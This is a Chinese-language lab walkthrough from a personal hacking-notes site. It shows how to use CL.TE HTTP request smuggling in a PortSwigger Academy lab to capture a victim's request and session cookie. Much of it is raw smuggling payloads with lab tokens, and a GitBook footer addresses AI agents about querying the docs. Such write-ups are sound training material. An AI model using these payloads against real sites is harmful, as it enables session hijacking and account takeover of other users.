> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capturing-other-users-requests.md).

# 捕获其他用户的请求

### 利用 HTTP 请求走私捕获其他用户的请求

该实验室设置了一个前端服务器和一个后端服务器。前端 **不支持分块编码**。/ 目标是 **走私者** 一个请求到后端，以便 **下一个用户请求** 是 **被应用程序存储**。/ 然后， **恢复该请求** 并使用 **受害者的 cookie** 以访问其账户。

实验室模拟一个受害者用户：在发送少量 POST 请求后，受害者会执行自己的请求。/ 有时需要多次重复攻击。

> 尽管实验室允许使用 HTTP/2，但解决方案必须使用 **HTTP/1** 因为某些技术只能在该协议中实现。" " 前端解析 **Content-Length**，而后端将 **Transfer-Encoding: chunked**，从而产生可利用的偏移。" " Burp 扩展 HTTP Request Smuggler 可以帮助手动修正长度。

#### 1. **前端解析的请求**

前端读取 `Content-Length: 13`，然后还会看到 `Transfer-Encoding: chunked`:

```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

postId=6
```

在分块结束后（`0`），会添加一个额外的后端请求。

<figure><img src="/files/7c2f1b20ddcf21b03d243504846251e8f61e9735" alt=""><figcaption></figcaption></figure>

#### 2. **注入一个用于发布评论的 POST 请求**

你构造一个包含第二个完整请求的走私请求：

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked

0

postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

结果：/ 走私请求被视为来自你自己的会话，应用程序发布了该评论。

<figure><img src="/files/11b35edfd2cff5952f9a46a4b7a7debda4fd8098" alt=""><figcaption></figcaption></figure>

#### 3. **强制受害者发布评论**

你将请求体修改为：

{% code overflow="wrap" %}

```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

{% endcode %}

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

并发送类似的请求。/ 重新加载时，应用程序显示 **感谢您的评论**，表明受害者发布了这条评论。

<figure><img src="/files/72193ca3473c07502d3bebdae1ae84c63b6281a0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f5467a043facb3f2f3fbf38faa08fac4d22369e8" alt=""><figcaption></figcaption></figure>

#### 4. **准备捕获受害者的请求**

要捕获受害者用户的整个请求，你大幅增加 `Content-Length` 使后端将以下请求作为内容读取：

```http
Content-Length: 1000

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```

接下来受害者发送的请求随后被吸收到预期的请求体中……/ 并变成 **可在应用程序的存储中查看**.

<figure><img src="/files/a161912d20f9f4a9d5fecbb8b508dd1459c31d39" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capturing-other-users-requests.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
